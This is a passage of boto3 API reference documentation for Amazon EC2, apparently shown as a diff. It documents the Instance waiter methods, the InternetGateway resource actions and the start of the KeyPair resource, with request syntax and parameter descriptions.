specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_stopped(kwargs_) + +Waits until this Instance is stopped. This method calls EC2.Waiter.instance_stopped.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_stopped( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_terminated(kwargs_) + +Waits until this Instance is terminated. This method calls EC2.Waiter.instance_terminated.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_terminated( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +[InternetGateway](#id1241) +---------------------------------------------------------------------------- + +_class_ EC2.InternetGateway(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) InternetGateway: + +import boto3 + +ec2 = boto3.resource('ec2') +internet_gateway = ec2.InternetGateway('id') + +Parameters + +**id** (_string_) -- The InternetGateway's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.InternetGateway.id "EC2.InternetGateway.id") + +These are the resource's available attributes: + +- [attachments](#EC2.InternetGateway.attachments "EC2.InternetGateway.attachments") +- [internet_gateway_id](#EC2.InternetGateway.internet_gateway_id "EC2.InternetGateway.internet_gateway_id") +- [owner_id](#EC2.InternetGateway.owner_id "EC2.InternetGateway.owner_id") +- [tags](#EC2.InternetGateway.tags "EC2.InternetGateway.tags") + +These are the resource's available actions: + +- [attach_to_vpc()](#EC2.InternetGateway.attach_to_vpc "EC2.InternetGateway.attach_to_vpc") +- [create_tags()](#EC2.InternetGateway.create_tags "EC2.InternetGateway.create_tags") +- [delete()](#EC2.InternetGateway.delete "EC2.InternetGateway.delete") +- [detach_from_vpc()](#EC2.InternetGateway.detach_from_vpc "EC2.InternetGateway.detach_from_vpc") +- [get_available_subresources()](#EC2.InternetGateway.get_available_subresources "EC2.InternetGateway.get_available_subresources") +- [load()](#EC2.InternetGateway.load "EC2.InternetGateway.load") +- [reload()](#EC2.InternetGateway.reload "EC2.InternetGateway.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The InternetGateway's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.InternetGateway.load "EC2.InternetGateway.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +- _(list) --_ + + Any VPCs attached to the internet gateway. + + - _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + - **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + +internet_gateway_id + +- _(string) --_ + + The ID of the internet gateway. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the internet gateway. + + +tags + +- _(list) --_ + + Any tags assigned to the internet gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_vpc(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = internet_gateway.attach_to_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = internet_gateway.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified internet gateway. You must detach the internet gateway from the VPC before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteInternetGateway) + +**Request Syntax** + +response = internet_gateway.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +detach_from_vpc(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = internet_gateway.detach_from_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways") to update the attributes of the InternetGateway resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +internet_gateway.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways") to update the attributes of the InternetGateway resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +internet_gateway.reload() + +Returns + +None + +[KeyPair](#id1242) +------------------------------------------------------------ + +_class_ EC2.KeyPair(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) KeyPair: + +import boto3 + +ec2 = boto3.resource('ec2') +key_pair = ec2.KeyPair('name') + +Parameters + +**name** (_string_) -- The KeyPair's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.KeyPair.name "EC2.KeyPair.name") + +These are the resource's available attributes: + +- [key_fingerprint](#EC2.KeyPair.key_fingerprint "EC2.KeyPair.key_fingerprint") +- [key_material](#EC2.KeyPair.key_material "EC2.KeyPair.key_material") +- [key_name](#EC2.KeyPair.key_name "EC2.KeyPair.key_name") +- 